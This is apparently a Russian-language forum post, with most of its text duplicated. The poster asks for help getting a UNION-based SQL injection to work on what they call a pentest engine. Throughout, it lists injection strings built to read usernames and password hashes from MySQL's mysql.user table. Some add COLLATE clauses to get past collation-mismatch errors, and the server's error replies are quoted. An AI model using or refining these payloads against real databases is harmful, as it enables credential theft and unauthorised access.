Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_bin,IMPLICIT) for operation 'UNION'
как сие чудо истолковать? вот запрос ?id=-1' union select 1,User,Password from mysql.user where 1=1 -- '
вот так тоже самое ?id=-1' union select 1,`User`,`Password` from mysql.user where 1=1 -- '
я так понимаю какаято траблас кодировкой , куда копать?
из другой таблицы вынимает данные нормально кстати
на другом скрипте это срабатывает , данные мускула вылазят нормально, но вот тут такая фигня
движок пентеста sql-injection
вот стандартный запрос из скрипта $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; помогите раскрутить скулю
неужели никто не знает?
попробовал вот так
?id=-1' union select 1 COLLATE latin1_general_ci,`User` COLLATE latin1_general_ci,`Password` COLLATE latin1_general_ci from mysql.user -- '
ответ COLLATION 'latin1_general_ci' is not valid for CHARACTER SET 'utf8'
и вот так ?id=-1' union select 1 COLLATE utf8_general_ci,`User` COLLATE utf8_general_ci,`Password` COLLATE utf8_general_ci from mysql.user -- '
COLLATION 'utf8_general_ci' is not valid for CHARACTER SET 'latin1'
пробовал gbk_chinese_ci но тоже безуспешно
нашел вот такой ответ но ничего непонимаю
всё перепробовал нифига неидет
как сие чудо истолковать? вот запрос ?id=-1' union select 1,User,Password from mysql.user where 1=1 -- '
вот так тоже самое ?id=-1' union select 1,`User`,`Password` from mysql.user where 1=1 -- '
я так понимаю какаято траблас кодировкой , куда копать?
из другой таблицы вынимает данные нормально кстати
на другом скрипте это срабатывает , данные мускула вылазят нормально, но вот тут такая фигня
движок пентеста sql-injection
вот стандартный запрос из скрипта $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; помогите раскрутить скулю
неужели никто не знает?
попробовал вот так
?id=-1' union select 1 COLLATE latin1_general_ci,`User` COLLATE latin1_general_ci,`Password` COLLATE latin1_general_ci from mysql.user -- '
ответ COLLATION 'latin1_general_ci' is not valid for CHARACTER SET 'utf8'
и вот так ?id=-1' union select 1 COLLATE utf8_general_ci,`User` COLLATE utf8_general_ci,`Password` COLLATE utf8_general_ci from mysql.user -- '
COLLATION 'utf8_general_ci' is not valid for CHARACTER SET 'latin1'
пробовал gbk_chinese_ci но тоже безуспешно
нашел вот такой ответ но ничего непонимаю
Ссылка скрыта от гостей
всё перепробовал нифига неидет